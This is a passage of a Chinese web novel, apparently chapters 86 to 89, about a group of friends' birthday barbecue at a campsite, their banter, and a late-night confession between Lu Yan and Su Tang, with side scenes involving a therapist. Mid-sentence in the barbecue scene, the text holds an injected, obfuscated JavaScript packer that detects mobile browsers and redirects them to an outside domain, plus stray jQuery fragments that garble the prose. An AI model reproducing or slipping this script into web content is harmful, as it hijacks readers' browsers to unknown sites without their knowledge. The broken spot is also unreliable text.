就像每天带鱼竿出门时的自信,老陆轻快道: “你表姐都怀上了,这事跑不了。” 额,还真是...... 挂断电话,将近七点了。 虽然不知道杨灵那边发生了什么,但生日验卡眼看就要到期,还没给沈语棠庆祝呢! 他降下车窗喊: “喂!人呢?车要出发啦!” 一嗓子催促,在村里大黄小灰的声压下,众人鱼贯出现: 张野略不过不谈,冯小军打了领带、别了胸针,比身后安静的沈语棠更像主角。 苏棠最后出来,一身奶白色羽绒服,领口一抹浅咖色格纹围巾,头发松松地挽起,整个人裹得暖和又明亮。 她双手背后踱步到车边,在众人等候的目光下,不急不忙地对车窗照了照,手指比了个‘’: “外貌check!” 虽然不知道她在玩什么梗,但开口便是满满的活力。 年轻的状态确实模仿不来。 不过,仅仅是站在年轻人身边,陆砚心里的某处也跟着轻松了些。 ...... 撒切尔女士这辈子最自豪的就是,二十七岁成了一名清教徒。 在主的保佑下,原本对爱情失望的她,如今过成了无数同龄人羡慕的模样。 “我和哈罗德当年就在查经班认识,那会儿我们都遵守主的教导,婚前连手都很少牵—— 你别笑,亲爱的,正是这份克制,让婚后三十年都记得要尊重彼此...... 孩子们也一样,儿子结婚前跟未婚妻约定守贞,女儿现在跟教会的小伙子约会,每次见面都要在教会门口分开,从不在外面待到太晚。” 不愧是退休教师,一口气就可以说一长串话。 此时三人坐在撒切尔家的壁炉旁边,炉子里的火烧得很旺。 相隔不到五米远的客厅,小撒切尔在给那条胖到影响走路姿势的金毛扎辫子。 对于‘还没有十二岁却能跟小伙子约会’这种事,顾南乔丝毫没诧异。 毕竟,‘早恋’是个地方特色的词汇,在大洋彼岸没这回事。 “我总说,我们家的幸福不是凭空来的。哈罗德以前是个爱喝酒的小伙子,教会的弟兄们陪着他戒掉了酒瘾; 我年轻时脾气急,是牧师教我‘要温柔谦卑’——你看,主把我们不完美的人改造得越来越好,连本都被我们教得温顺,从不乱咬东西。” “是的,女士,非常谢谢你的感冒药......” 这表示顾南乔想走了。 人情世故这一块是不分国籍的,撒切尔女士一边在包里翻找,一边起身说: “这周都是圣诞礼拜,会唱颂歌,还有孩子们演的小话剧,如果你们想去,随时找我—— 不是传教,只是想让你看看,一群遵守‘真善’的人聚在一起,是多么平安的光景。” 三人起身,杨灵拿着感冒药,把给邻居的礼物留下。 “好,有机会会去的,但是我们今天约了医生,改天吧!” 面容一直平静的老人露出一丝疑惑:“现在还有医生上班?” 顾南乔看了眼杨灵,说,“老朋友了,直接去她家就行。” ...... 震泽镇的长漾湿地里有一处星空露营地,主打烧烤、夜间观星、音乐派对与非遗手工体验的融合概念。 对从未尝试过户外露营的人来说,光是‘睡在野外,夜半听风’这一点,就足以让人心动下单。 但即便不考虑价格,陆砚也并不认同—— 冬天睡外面实在不算明智,一群人看星星也坚持不了几分钟...... 更何况他们这帮人自己就能搞音乐、玩手工,根本用不着别人安排。 不过烧烤还是不错的......所以他们果断选择了星空露营旁边的‘啤酒屋·碳烤羊排’。 五个人围一张矮桌坐在干草地上。老板别出心裁地引入了‘家庭厨房’的概念,客人可以自己动手烤。 炭火熊熊发热,呼啸的冷风成了空调房的凉意,再来口烧烤......还有比这更惬意的事吗? “苏棠你......有点东西。” “嘿嘿,我有别人没有的技巧。” 一口甜香的烤肉下肚,陆砚把后面的吐槽咽了回去。 这孩子路子太野了—— 可乐腌肉。 老板来送菜时,几人都不好意思看他的表情,只有苏棠稳坐烤架前,气势丝毫不输专业师傅。 “语棠妹妹,要不要试试酸奶味烤肉?” “嗯......” 有的东西组合起来有意料之外的化学反应,例如可乐浇烤肉。 但有些搭配,光是想象就头皮发麻。 至少可乐和肉色系相近,裹酸奶算什么? 陆砚连忙打住: “天才,收敛一点,语棠还小、禁不住你玩几次。” “没事,有我兜着,我搞不定还有小军哥。” 虽然已经摘了,但冯小军今天可是打了领带的人! 正要出声质疑‘凭什么我排在后面显得更没底线’时,苏棠已经做好安排: “张哥,你不适合吃酸奶,给你上啤酒的。” “...” 这里的‘上啤酒’可不是人饮酒,是让肉喝了再上架,倘若侥幸火候不差,最后那醉肉是要进胃里的。 啤酒拌饭吃过吗? 吃多少吐多少,就是这么好吃。 综上所述—— “烤,给你张哥狠狠的烤,玩完这一茬,可不准祸害我们过生日的人咯!” 陆砚给出方案,苏棠一手一把串在烤架上转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373639|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不亦乐乎,不知道是否采纳。 在第二波投入量产的烤肉出来之前,陆砚决定先让音乐洗礼这个夜晚。 侧头望去,小姑娘依旧像在家吃饭那样坐自己右手边,抱着双膝安安静静。 “语棠,想听什么?” “哥哥,弹牛仔很忙!” 专注烤串的苏师傅利索插话——如果对待烤肉也像这样敏锐就好了。 “你知不知道——” “我知道!” 显然,陆砚要说一堆大道理叫苏棠谦让小寿星,而苏棠果断终止他的吟唱...... 牛仔很忙......这首歌即使是周杰伦的,也不能成为苏棠‘反败为胜’的理由! 随即,苏棠把串交给吃瓜的张野,接过吉他,眼神依旧自信。 “你看好啦,我只教一次。” ...... “强哥,你是没看见喏,最旁边那桌拿可乐调味......小姑娘还一本正经坐那烧烤,天知道要糟蹋多少东西。” 并非每个烧烤摊主都有新疆血脉,但烧烤用的羊腿,多是来自新疆的供货。 **作为将将入行的老板,此时心情是矛盾的—— 既希望客人多点些,又心疼他们糟蹋东西。 “别人本来就是来玩的,怎么开心怎么好,咱只管营业就行。” “根本就在胡来——” ——‘乌啦啦火车笛,翻!’ ——‘随着奔腾的马蹄,翻!’ ——‘小妹妹吹着口琴,翻!’ ——‘陆砚!你翻掉了一串!’ ——‘别搞针对,那是语棠掉的。’ 两人寻声望去,又是那桌不安分的小姑娘起头、弹着吉他,其余几人挤在烧烤架前跟着节奏,一句词烤串翻个面。 这歌节奏欢快,弹吉他的那位还提了高要求: ‘烤串要打出声音来,接着我的吉他,咱们合奏要有默契呀!’ 唱到副歌她猛然提速,就像一群人齐步走,一开始觉得无聊,后来发现能整齐这么久也挺有意思,再后来遇到各种障碍物干扰、他们开始全身心投入、突破极限,神经紧绷到最后——难免突然出错,最后哄堂大笑。 当然不会怪罪出错的人,那可是并肩作战了好一会的队友啊! ——‘烤肉需要八分钟,咱们三首歌准时开吃!’ “好家伙,谁说那个小姑娘胡来的?人家掐着秒表烤肉、还翻面勤快,我看专业得很。” **松了口气似的说道,看来食材不会被浪费了。 但人的偏见是座大山,对方还是有些槽要吐: “烤得好有啥用......那肉蘸了可乐。” 身前是半红的火炭,身旁是一串串新鲜的羊肉,**沉吟许久从冰柜拿了瓶可乐,缓缓开口: “要不......咱开发下新口味?” ...... “我刚刚说话太大声了,对不起。” 说着,她朝陆砚弯腰就是一个深鞠躬。 而且这个躬可不一般,脑袋都抵他胸口上了。 “我出社会太久了......这是哪门子对不起?” 苏棠眯眼比耶道:“这是直达你内心的对不起,有诚意吧。” 诚意有什么用?那蘸酸奶、泡啤酒的羊肉串,你来吃? 等了这么久,就上这个? 哦不对,现在重要的不是吃东西,而是让冯小军好受点。 “小军啊,你也老大不小了,怎么人递东西你就往嘴里送呢?” 张野‘一脸不解但我会为你好’的表情、给他递了杯啤酒,理由是‘酒精消毒’。 “别消毒了,我怀疑这酒里就有毒......” 眼看冯小军一副快要yue出来的样子,陆砚还是觉得要先确认这哥们的具体情况。 “小军哥,真不舒服吗?” 现在这情况,就像修老洋房的时候突然半桶糯米胶泼到文保局专家面前,容易产生误会。 万一人老板以为我们是吃霸王餐的怎么办? 他点点头,“陆哥,蘸酸奶的我真不想再吃了。” “...” 6! “合着您不是吃撑了呀!” 都做好送你去洗胃的准备了! “撑什么撑?今天这么迟吃饭,我还感觉都没有啊!” 危机解除,几人立马发出‘ger、ger’的笑声,就像半夜被踩到脚的鹅群。 第八十六章 当然不开心 看着口味原创者在远处鞠躬致歉,李强看着自己刚用酸奶腌制的烤串,心头一沉。 而苏棠,也确实被按在原地丧失了玩火权。 忘了是‘会吃就做’还是‘会做就会吃’,总之当张野和冯小军把正常的烤串端上来时,大家都觉得: 真香。 “啤酒配烤串是这样吃的,小小酥糖,你不要走火入魔了喔!” “哥哥,精酿是精酿,啤酒是啤酒,不要搞混了。” 严格来说,苏棠的说法是有毛病的。 但对喝的人来说,口感和度数的差异,确实值得把两者隔开讨论。 陆砚侧过头轻声提醒: “语棠,你尝尝味道就行,三分之一杯到量就停啊,那边有牛奶。” 众人这才把目光投向安静了一晚上的沈语棠——虽是寿星,存在感却比平时还低了些。 “好的......” “陆哥,我发现我开始染上职业病了。” “啊?” 视线一转,冯小军是个讲究人,还知道当众发言前要把嘴边的油渍擦干净: “没办法,前前后后实习三个月,时间也不算短了。” 嚯! 一开口就是职业病,再一问工龄,仨月! 而职业生涯只有一个半月的苏棠适时捧场,问: “是哪出问题了?” “饭量长了。” “神特么来古建实习,职业病是饭量长了,这合理吗!” 冯小军努了努嘴,嘴的那边是张开血盆大口的张野。 “...” 别说,你还真别说,跟张野在一块吃饭可不得提速往胃里塞吗! 各行各业从事久了都会有职业病,陆砚起先他以为是腰椎肩颈的毛病,毕竟老洋房那会对方提过一嘴。 现在看来,就是个乐子。 甲级战犯·苏棠没大没小地开启称兄道弟模式,手肘搭在他肩上,说: “啧啧,陆砚,你觉不觉得职业病好酷。” “您有何高见?” “就是......毛病本来是不好的,一旦改口称职业病,就有点厉害了。” 小丫头这个说法有点意思。 就像万物烧烤皆好吃一样,这炭火百搭——毛病变成职业病之后,连带着整个印象都镀了层金。 “谁说的?不是所有的职业病都像我这么酷!” “...” 叽里呱啦间,戏台子就这么搭起来了,项目发起人冯小军手持烤腰子率先致辞: “张局长突然接到一封加急电报。电文是:母亲去世,父亲病危,望速归。阅毕,张局长痛不欲生,边哭边在电报回单上签字。 邮递员接过回单一看,竟是‘同意’二字。局长的职业病,厉害吗?” “...” 且不说局长厉不厉害,场上姓张的因为职业病一事感觉自己被影射两回了,此时若还保持沉默,师道尊严何存? “我以前在火葬场扛了两年的尸体,现在看到某人睡着、都想扛去烧了——职业病。” 神特么火葬场扛尸体,他是吃野菌子上头了的幻想吧...... 冯小军笑容一滞,扭头看向陆砚求证,后者回以一个‘扯的、全是扯淡’的眼神。 顿时,他底气就足了,依葫芦画瓢回复: “以前我是卖烤鸭的,转行去了殡仪馆,见到家属就问,要烤几分熟?” “哈哈哈——” 然而话题才刚刚开始。 苏棠有样学样道: “以前在加油站的,后来也是转行去了殡仪馆,那次家属拿了一个骨灰坛,我问他加不加满?” 这就有点地狱笑话了。 都要转行、还都转殡仪馆是吧...... 陆砚不扫兴,跟上队伍说: “那我以前是当法官的,转行去殡仪馆烧尸体的时候,都会问一句:你认不认?” 嘿,问就是职业病。 轮番登场唱罢,该沈语棠了。 这时,旁边悄悄凑到耳侧,热气呵得人发痒: “哥哥,如果你肯支付我二十块钱,我会在你的葬礼上全身黑衣、戴墨镜和蓝牙耳机,晴天打一把黑伞默默观望,让所有参加你葬礼的人都怀疑你有一个可怕又刺激的秘密。” 她眼睛亮晶晶地盛满笑意,毫无威慑力的脸蛋让人忍不住想揪一把、再捏一捏。 另一边—— “我,我想不出来。” 眼看接龙即将掉队,陆砚轻拍身旁苏棠,眼神示意: ‘填上!’ ‘收到!’ “咳,其实我也当过理发师,后来每次切菜我都给切齐刘海。” 他立马拆台搞怪:“棠棠呀,这也太没生活了,齐刘海哥几个压根没剪过呀。” “是啊是啊......” 苏棠一脸不解(做作版)道:“那为什么我小时候全是齐刘海?” “或许那是花店老板审美上的职业病。” 解开疑惑后,她决定开动机智的大脑再来一个: “那我以前在公交上司机急刹没站稳,向后倾斜四十五度绕着钢管转了好几圈。” 好家伙,这次连格式都彻底自由了。 几人碰杯喝了口酒,齐声配合发问: “棠棠诶,你以前是干嘛哒?” “棠棠呀,这是什么职业?” 这波把小姑娘捧得直翘尾巴,熟悉的‘剪刀手缓缓划过眼前’,揭晓道: “姐身材这么好,以前是跳钢管舞哒!” 好家伙,比真跳钢管舞的自信多了。 ...... 夜色渐深,炭火微红,五人围坐在小桌旁谈笑风生。 张野师徒还在刚才的话题,尤其当苏棠也加入的时候,他忽然嚷道,‘殡仪馆我没去过,但我18岁当保安,可是为了镇守一方’。 嘈杂之中,陆砚摸到口袋里、那个绝不会自掏腰包买的钥匙包——细腻的皮质、低调的光泽和价值不菲的奢侈logo,自然而然就想到了顾南乔。 自己送她一个钥匙包、她就还一个,就是如此直爽粗暴,十分符合人设...... 不过人呢?好像一整天都没在群里说话? 那就他主动找吧,谁叫是好朋友呢。 想到这儿,开始低头打字。 墨斗先生:聊职业病突然想到个段子。你以后在家带孩子,小孩哭了你会不会说:“你把逻辑捋顺了再哭?” (消息未能发送|对方开启了朋友验证) 不是...... 这位姐怎么回事?又哪得罪她了? 这一个两个的,商量好了搞我呢! 一口郁气陡然窜起,连带此前压下去的情绪翻涌而上,在微笑的面容下、躯体里,横冲直撞。 旁边苏棠玩嗨了,笑得半靠他身上,边拍手边说: “对啊!我现在手机看多了,有时候看不清纸上的字,都会习惯性两根手指做放大的动作!” 第八十七章 好像你 张野打了个酒嗝,拍拍胸脯,忆往昔峥嵘岁月: “上学那会,朋友上厕所,我站门外抵住不让他出来,他在里面往外推,我使劲抵,还在外面笑,这时看见我朋友从隔壁间走了出来......” “笑死我了——” 苏棠拿头撞过来,陆砚岿然不动,甚至贴心用手挡了挡她手上的串,以免戳到那么白的羽绒服了。 冯小军一脸嫌弃: “粗鲁!我来个花式小众的......你们肯定没听过:有人做梦梦到嗑瓜子,一觉醒来,蓝牙耳机被咬烂了。” 张野眯眼:“就是你小子吧?” “不,我是那种......睡觉梦到接电话,‘喂’了半天把自己给‘喂’醒了。” “噗哈哈——” 聚会之所以下酒,就是这样来的。 像是突然想起‘男女授受不亲’,苏棠直起身子,甚至还拉开些距离,转头认真对冯小军说: “你知道为什么会醒吗?因为人类睡眠服务器满了,没你的位置,所以被挤走了。” 冯小军也严肃起来,仿佛刚读完《送东阳马生序》,援疑质理般追问: “那要怎么才能睡个好觉?” 小丫头挑眉一笑: “简单。给你朋友打个电话,把他叫醒——你不就有位置了?” “哈哈哈——” 几人的笑亦有不同,豪爽的、憨憨的、试图矜持的......混在一起,独一位南郭先生在人群假笑。 陆砚看着热气腾腾的一桌,像局外人。 灵魂先是冷眼旁观,后来索性随那自由不羁的风,飘去了很远的地方。 一个说‘没事别往这发’,一个送完礼物就悄无声息拉黑。 他不想做个被女人牵着走的男人,可这样决绝的打击,实在让人措手不及。 甚至,都不知道自己做错了什么,就被心底最珍视的两位女性,无声判了死刑。 这时苏棠猛地一拍桌子,指着陆砚鼻子就骂: “笑什么笑?让你笑了吗?还生日呢,我看今天是该来的没来,不该来的都来了!” 陆砚毫不手软,一把卡住她的后颈,对方顿时告饶: “我黑涩会啊,那是我当黑涩会的职业病!” ...... 沈语棠今天起得很早。 她没有化妆的习惯,也没什么化妆品。但这些天,突然冒出了想化妆的念头—— 虽然也只是念头罢了。 往年家里都会给她订六套新衣,四季各一,生日和新年另添一件。 今年,沈秀娥和她商量,能不能延到过年再买。 她知道家里的状况,痛快答应下来。 本以为生日就像突然从师俭堂结业一样,和往常并没有两样,可醒来便发现手机上收到好几条祝福—— 是那几个哥哥和苏棠姐姐发的。 她预感可能还会收到礼物,因为昨天不小心看到张野拿着个粉色礼物盒上楼...... 这些好,心里都会记得。 将来大家不再见面的日子里,会时常拿出来怀念—— 毕竟,家里从没有客人住这么久,他们也不可避免地,产生了交情,生了牵挂。 带着明媚的心情,她装模作样扫了扫地,便拿着衣篓上了二楼。 其实只收一个房间,根本用不上这么大的衣篓,但还是抱着,这样显得更正当,更像有事可做。 可是,他们并没说几句话。 之后,在陆砚的房间呆了将近二十分钟,卫生做了一遍又一遍,还是没等到人。 沈语棠知道原因是什么。 正如此时此刻大家围坐在一起吃烧烤,她依然坐得那么近,却始终不在对方的视线里。 苏棠姐姐...... 苏棠是她见过最漂亮、最有魅力的女孩子。 这样的女子和他站在一起,是那样般配,她能接受这样的结果。 只是...... “你看,陆砚是不是有心事?” 突然,苏棠从身后凑近,压低声音说。 始终将注意力放在左边的她,早就看见了—— 看见他是几点看的手机,看完之后是怎样沉默下去,那沉默中又藏着多少难以言说的郁闷。 于是点了点头。 随后苏棠笑道:“你就听着吧,我有办法安慰他。” 那笑容真美啊,明明是晚上,却像一颗在阳光下折射出七彩光芒的钻石。 她无比相信,这样的女子,一定能让陆砚悄悄走神的心重新明亮起来。 周围仿佛起了雾,身边的人好像要踩着雾飘起来。 而她,仍踩在地上,那么结实;地上的泥土,那么朴素。 张野凑过来关心地问,“喝不下就倒给我。” 冯小军也挤过来:“张哥,沈妹妹跟我差不多大,同龄人更该互帮互助!这酒我来代!” 余光里,左边的视线似乎往这边瞟了一眼。 沈语棠笑了笑,端起酒杯,和两人碰了下。 似乎只有这样,众人不经意看过来时,会多在她身上停留一会。 ...... 夜色渐深,炭火微红,变得含糊的笑语缭绕在小小的烤桌周围。 喝到差不多的时候,苏棠趴他肩上说了这样一句话: “哥哥,跟我过来一下。” 此时酒精早已融化了社交的边界。 陆砚也凑近过去,几乎碰到她的耳垂: “有事吗?” “别废话,当然有事啦!” 场面依旧火热,另一边三人坐成一排——沈语棠似乎状态还行,尽管一杯精酿已经喝了一半...... 他嘱咐张野看好对方,便起身跟着苏棠离开,没忘记拿起她的羽绒服。 两人穿过灯光微醺的营地,踏着干草沙沙作响。 头顶星空低垂,仿佛生活里总少不了的吃瓜群众、时不时眨巴眼睛。 晚风拂过脸颊带走几分酒意,他们在一处稍远的草坡坐下,靠得很近,肩抵着肩。 “哪有人离开就抱着酒瓶走的?” “谁说的,我还背了吉他嘛。” 她嘿嘿笑着,把羽绒服拉上。 “我看你发完微信就闷闷不乐的。”苏棠将脑袋靠过来,气息像一只猫儿轻踩一脚:“我有好用的办法,你要不要听?” 乍一听像开车,其实这无妨。 小姑娘脸上扬着贱兮兮的笑意,心思半点不旖旎到歪处。 于是陆砚凑近了些。 “你就发个狗头表情包,然后说‘好想你’。不管对方回什么,你接下来都说:‘打错了,是好像你’。” 第八十八章 永远少一点坚决 好想你?好像你? 陆砚苦笑,他连第一步——发张狗头表情包都做不到。 裹着羽绒服坐在地上的苏棠,像个臃肿的粽子,两人靠在一起,如同街上和人偶吉祥物拥抱,仍在‘礼貌社交距离’之内。 或许正因为如此,他忍不住随心,捏了下对方的脸。 “你这小姑娘真的蔫坏。” “嘿嘿。” 这一触碰,仿佛让两个灵魂缠绕相吸。 夜空下,陆砚把邮件和微信的烦扰统统抛了出去。 天边的星星忽明忽暗,在接收信号;苏棠眼睛一眨一眨,安静地聆听。 此间氛围,说出的每一个字都是美的,倾诉成了种享受。 “那,你还挂念她们吗......给。” 她递来一个易拉罐。 是亲手拉开后才递来的。 这个细节在陆砚感官里无限放大,甚至,有点感动。 生活就是这样——人总会在低谷时,被平时忽略的细微之举打动,甚至萌生爱意。 肩上仿佛覆了一层棉花,侧过头,那张面孔是如此叫人想亲近。 陆砚洒脱地说: “过去的,就让它过去吧。万事不强求。” “真哒?” “......真的。” 就像流星突然划破夜空,苏棠‘腾’地起身,目不转睛看过来。 先是睁大眼睛,像要把每一个表情都看得真切,随后又恢复酒桌上得意开朗的模样,点了点头,扭捏道: “那,那我可得有件事要跟你坦白了。” 男人突然一慌。 有些情感的诞生是心照不宣的,就像春天播下麦种,秋天自有收成。 他早猜测苏棠或许喜欢他——和仰慕者相处是件愉快的事,所以并未决然掐灭这微妙苗头。 但...... “我要是说了,你不准生气......” 生、气? 玛德,人生最大的错觉就是‘她喜欢我’! 好在夜色没有背叛常识,能盖住羞臊的脸。 “......你又做什么亏心事了?” “怎么说话呢!我还没说出来就先定性了?” 很明显,小丫头这是即将坦诚前、由心虚带来的虚张声势,陆砚做了个‘请’的手势,示意开始表演吧。 表演当然要有道具。 她把琴盒放到膝上,一副回忆当年情的模样: “你还记不记得梧桐大道我们遇到的那天......那会你左手打着绷带......我们一块吃了肯德基。” 对,那是陆砚拆了腿上石膏、出院的第一天......为什么那么火急火燎出院呢? “我记得,怎么了?” “那天是你前女友约的我......” 杨灵? 啊不对,那时还没分手。 “林晚声?” “嗯......她给了我一本书,书被你抢走了。” “你还挺记仇,不是请你吃肯德基了吗。” “其实我想说的是,这把吉他也是她给的......” 给书,陆砚理解。 因为那本书是他送的,林晚声开启新的人生,可不要把旧物处理掉吗。 只是吉他...... 夜色下,他并不能很看清吉他的细纹,但确实不是他们过去用的那把。 “一口气说完,不然我现在就揍你。” 闻言苏棠脖子一梗,大有‘你敢动手我就敢躺下’的气势。 随即陆砚伸手准确掐中对方的后颈——手感不错——顿时,她像被猫妈妈叼着的小猫,老实耷拉下来。 ...... 苍白的光线、单薄的树梢、叶子黄得发脆,那日的梧桐大道就是如此。 就像鸟儿清晨鸣叫、太阳永远从东边升起那样,按理说,苏棠上午根本离不开被窝。 可偏偏认识了个能让她提起几分劲头的男人,现在,这个男人的前女友竟找上了她——就更有意思了。 当然不用担心会被当做情敌被手撕—— 尽管她觉得自己确实是个让所有女人感到威胁的存在,但现在正牌女友是杨老师,天塌下来怎么会砸到自己呢? 于是赴约。 一到约定的小广场,就看见宽松的燕麦色毛衣、搭配深色长裙的林晚声在正中央唱歌。 那是第一次听见对方的歌声,低沉舒缓,带着缱绻的忧郁和叙事感,轻易就能把人拉进情绪。 苏棠立马就认可了这个姐姐具有不输杨老师的实力,自己尚未成长起来以前,怕是只能避其锋芒了...... “你跟陆砚很熟吗?” 这是对方开口问的第一句话。 此时‘陆砚’就像某个不得了的大人物,跟他很熟大抵是件很了不起的事,苏棠当即表示肯定。 林晚声顿了顿,让出位置,说了第二句话:“小妹妹,我刚才唱这首......你能唱给我听听吗?” 来了。 上一个时代的强者,对后来人发起天赋测试? 千钧重担,她苏棠一肩挑之! 不就是寂寞的季节嘛,陶吉吉的歌正好在自己的擅长点位上! 一曲唱罢,她有些恋恋不舍地放下对方的吉他,等待评价。 不想对方绕过了这棘手的问题,开了个让她无法拒绝的条件: “如果以后有空唱给他听,吉他我就送给你。” 三句话说完,于是,带着不可置信心情,一把伊斯特曼的吉他就这样到了她手里。 ...... “陆砚,当时你跟杨老师还......我就没跟你说。” “能不能唱一下,那首歌。” “其实那天我唱过了,你也听到了......好好,我现在唱。” 夜色寂静,星子疏离了人间,由是微风掠过草尖带来丝丝凉意。 或许比陆砚更有诗意的人眼里,这片天也有自己的情绪。 “风吹落最后一片叶/我的心也飘着雪/爱只能往回忆里堆叠/给下个季节。” 起调很低,平铺直叙地将幕布拉开。 苍白的光线、单薄的树梢、叶子黄得发脆,林晚声去医院归还完书签,一个人走在梧桐大道。 他想起来了。 当时急着出院,也是希望再去见一见她,后又因为顾南乔在旁边,就改了主意跟来到静安别墅边的梧桐大道。 原来那天,两人那么近。 吉他和弦一变,苏棠也认真起来,似乎在回忆那天、那人,随后唱腔带上一抹相似的惆怅: “忽然间树梢冒花蕊/我怎么会都没有感觉/整条街都是恋爱的人/我独自走在暖风的夜。” 这歌词真有意思,一会儿在落叶时节心头飘雪,一会儿树梢冒蕊、夜吹暖风。 作词是马尔克斯式的魔幻现实风?还是提笔随意写的? 他扬起笑看向满是专注的苏棠,苏棠的声线很好,如今唱商也提升了,竟然真可以把‘暖风的夜’唱出落寞感受。 微弱光线下,风动,枯草倒向另一边,林晚声的面容在眼前浮现。 拨弦的手指变得更纤长、灵动,耳边的嗓音也愈发磁性,像在述说一个故事。 她唱到: “忽然间树梢冒花蕊/我怎么会都没有感觉/整条街都是恋爱的人/我独自走在暖风的夜。” 陆砚看见苏棠想起了林晚声,正如一个人在全城恋爱的氛围里,想起自己的恋人。 恋人在何处? 恋人已分别。 她独自走过记忆的陆,心却渐渐变暖。 “我了解那些爱过的人/心是如何慢慢在凋谢。” “多想要向过去告别/当季节不停更迭/却永远少一点坚决/在这寂寞的季节。” 第八十九章 命运巧 “那......噗嗤,哥哥,你好像......又被删了。” 夜很深,深得把陆砚的脸也染成墨色。 在苏棠的注视下,他搜了几次名字、又往返翻动列表,直到风都困了,硬是没找到林晚声的微信—— 只是睹物思人想悄悄看一眼朋友圈啊喂! “诶不对,找不到人......应该是你把她删了。” “我?我就没删过......” 话到这里忽然怔了怔。 他有且仅有的,把手机给过杨灵。 杨灵会不动声色地删掉林晚声、却只字不提吗? 原本百分之百否定的心,掠过她曾因吃醋做出的种种行为,忽然有些动摇。 “真是我删的?” “哥哥,你都这么有经验了,还用问我吗。” “...” 虽然未曾明说,但对方的语言就是能让他想起被拉黑的回忆。 人畜无害的青春面孔下面,小嘴怎么跟淬了毒似的! “苏棠,这荒郊野岭的,我劝你善良。” 据说越是远离社会,女性的勇气则呈指数下滑。 然而听罢她又善良提醒到: “少个好友也没什么大不了嘛~不就是像你今天这样:辛辛苦苦编段子,满怀期待发过去,再伤心欲绝喝闷酒吗?” ——怒气值+50。 “其实咱也不是在乎这点事的人,但是哥哥,只要一想到‘再也不能知道她曾经发了什么’,我的心就替你隐隐作痛诶~” “苏棠。” “嗯哼?” 寒风凌冽,正好磨刀。 陆砚用他所用发出最冷酷的声音,沉稳而不露情绪说道: “我不欺负你。现在我数到十,之后我会彻底丢掉男人的傲慢,跟你展开武士决斗。” “啊咧......不是,你来真哒!” 臃肿的粽子立马放下吉他准备往回跑,不料下一秒就被一只手狠狠拽住—— “十!” “喂!是倒着数啊!” ...... “你压到我头发了。” “自找的。寻衅滋事的勇气呢?” “但你刚刚,真的弄疼我了。” 决斗还没开始就戛然而止。 确认只是脚踝轻微扭伤之后,他给张野打了个电话,背起苏棠朝路边走。 远远看去,男人驮着女人,女人驮着吉他,吉他领着星空,此刻所有美好系于一身,共赴前方。 “对,我也心疼。” “这还差不多......” “我是说,刚刚我也被你淬了毒的语言戳得心脏疼。” “嘿嘿......” 关于苏棠,陆砚第二喜欢的就是她的笑声。 只要对方是如此轻快的笑,似乎万事都能翻篇,他的心也如此快哉。 肩上、颈后,柔顺的发丝正摇啊摇,只希望前面的路,长一点才好。 “还有,听到你的笑声,我突然觉得腿疼只是你的借口。” “人家九十斤的肉肉能有什么负担呢~” 这句话看似做作,可她毫不掩饰这份做作时,反而显得坦然,坦然里透着小狐狸般的有趣。 向上托了托这一身‘肉肉’,他说: “你如果没有一百一,我工龄立马减五年。” “...” 沉默,是因为炸弹有引线—— “只有一百零五!陆砚你快给我道歉!” 语气激动,身体却异常乖巧温顺,就像最开始在旁边安静聆听的模样—— 她从后面掐住脖子,呼吸呵在耳边,力道轻得像情趣。 所谓女人的魅力,尽显此时。 他永远不可能跟兄弟朋友那样尽情展示脆弱,更别提把手机拿出来让人看被拉黑的过程。 而苏棠就是有如此魔力,悄无声息卸下男人竖起的戒备。 脖颈的手还在轻轻抓挠,手腕上,他送的手串也其中滚动,如果拇指再用力些,会让人觉得是在按摩。 “如果道歉有用的话,这么晚我还送你去医院干嘛。” “那你说,谁是世界上最美的女人!家人亲戚不能算,明星偶像也排外!” 最美的女人? 审美本就主观,如果只说真心话...... 杨灵。 就算把明星都算上,也必须是杨灵。 “你,确定要听实话?” “......我不想听的答案也不能说。” “得,合着这个问题你就自问自答了。” 苏棠的手藏在袖子里,隔着羽绒服锤在他胸前: “十二点都过了,我还是患者,凭什么不能让我一下......” 前半句的失落,听起来是认真的。 陆砚立马有些后悔刚才没趁玩笑气氛说出她的名字,而现在补一句‘你最美’,无疑只剩敷衍。 “而且......” “而且什么?” 脚踩到干草地上的声音是沙沙的,近乎无声,而踩在马路上是一步一响,像心跳。 偏是命运巧,今宵障碍尽扫了,惯缩木桶的第欧根尼,也敢壮胆上街晒暖了。 苏棠贴着他的耳朵,怯怯开口: “她们......都不靠谱,只有我会陪着你。” 车灯由远及近照亮路面,陆砚静立在旁等车到来。 如果爱情是只彩色蝴蝶,那么它美丽的色彩在触碰中掉落,便是宿命般的事情。 这短短的几秒他想了很多: 高飞的鸟、熟黄的麦,有喜有悲。 悲喜叠加,此刻什么都说不了,什么都无法回应,只是轻轻将女孩放下,替她拉开车门。 那一抹含泪的眸光或许是男人的错觉。 就让它是错觉罢。 此后,世间多了一组遗憾,是二十二岁的苏棠遇见了二十八岁的陆砚。 ...... 杨灵独自坐在墨绿色的绒面沙发上——据说这种颜色会让人心情轻松——对面墙壁上挂着的电视播放着一部节奏缓慢的文艺片。 她没看,低头盯着手机屏幕,指尖无意识地下滑、刷新,思绪已飘去窗外灰白色的天空。 楼上,顾南乔坐在梅兰妮(Melanie)的书房里,桌前两杯热可可冒着热气。 这是一间布置得温暖而私密的房间,满墙的书,厚地毯,一盏橘黄色的落地灯在角落亮着。 梅兰妮——一位褐色头发、三十七岁的女性,亦或者说,杨灵的心理医生——就坐在对面的单人沙发上。 披着一件深蓝色丝质睡袍,光脚踩在地毯上,姿态放松,但眼神专注。 “我没有感觉她有过激的地方。” 女人微微前倾,从身旁的小几上拿起马克杯,语气带着职业习惯下的冷静与精准: “那或许是因为你们病情相似?” “...” “开个玩笑。”梅兰妮笑了笑,放下杯子,“你很健康,我也认为她很好。事实上,大多数人都会这样认为。” 关于不同国家有审美差异这件事,在杨灵里面的差异并不明显。 而只要美貌管用的地方,自己这位闺蜜确实可以很容易获取他人好感。 顾南乔轻咳一下,揉了揉发堵的鼻子: 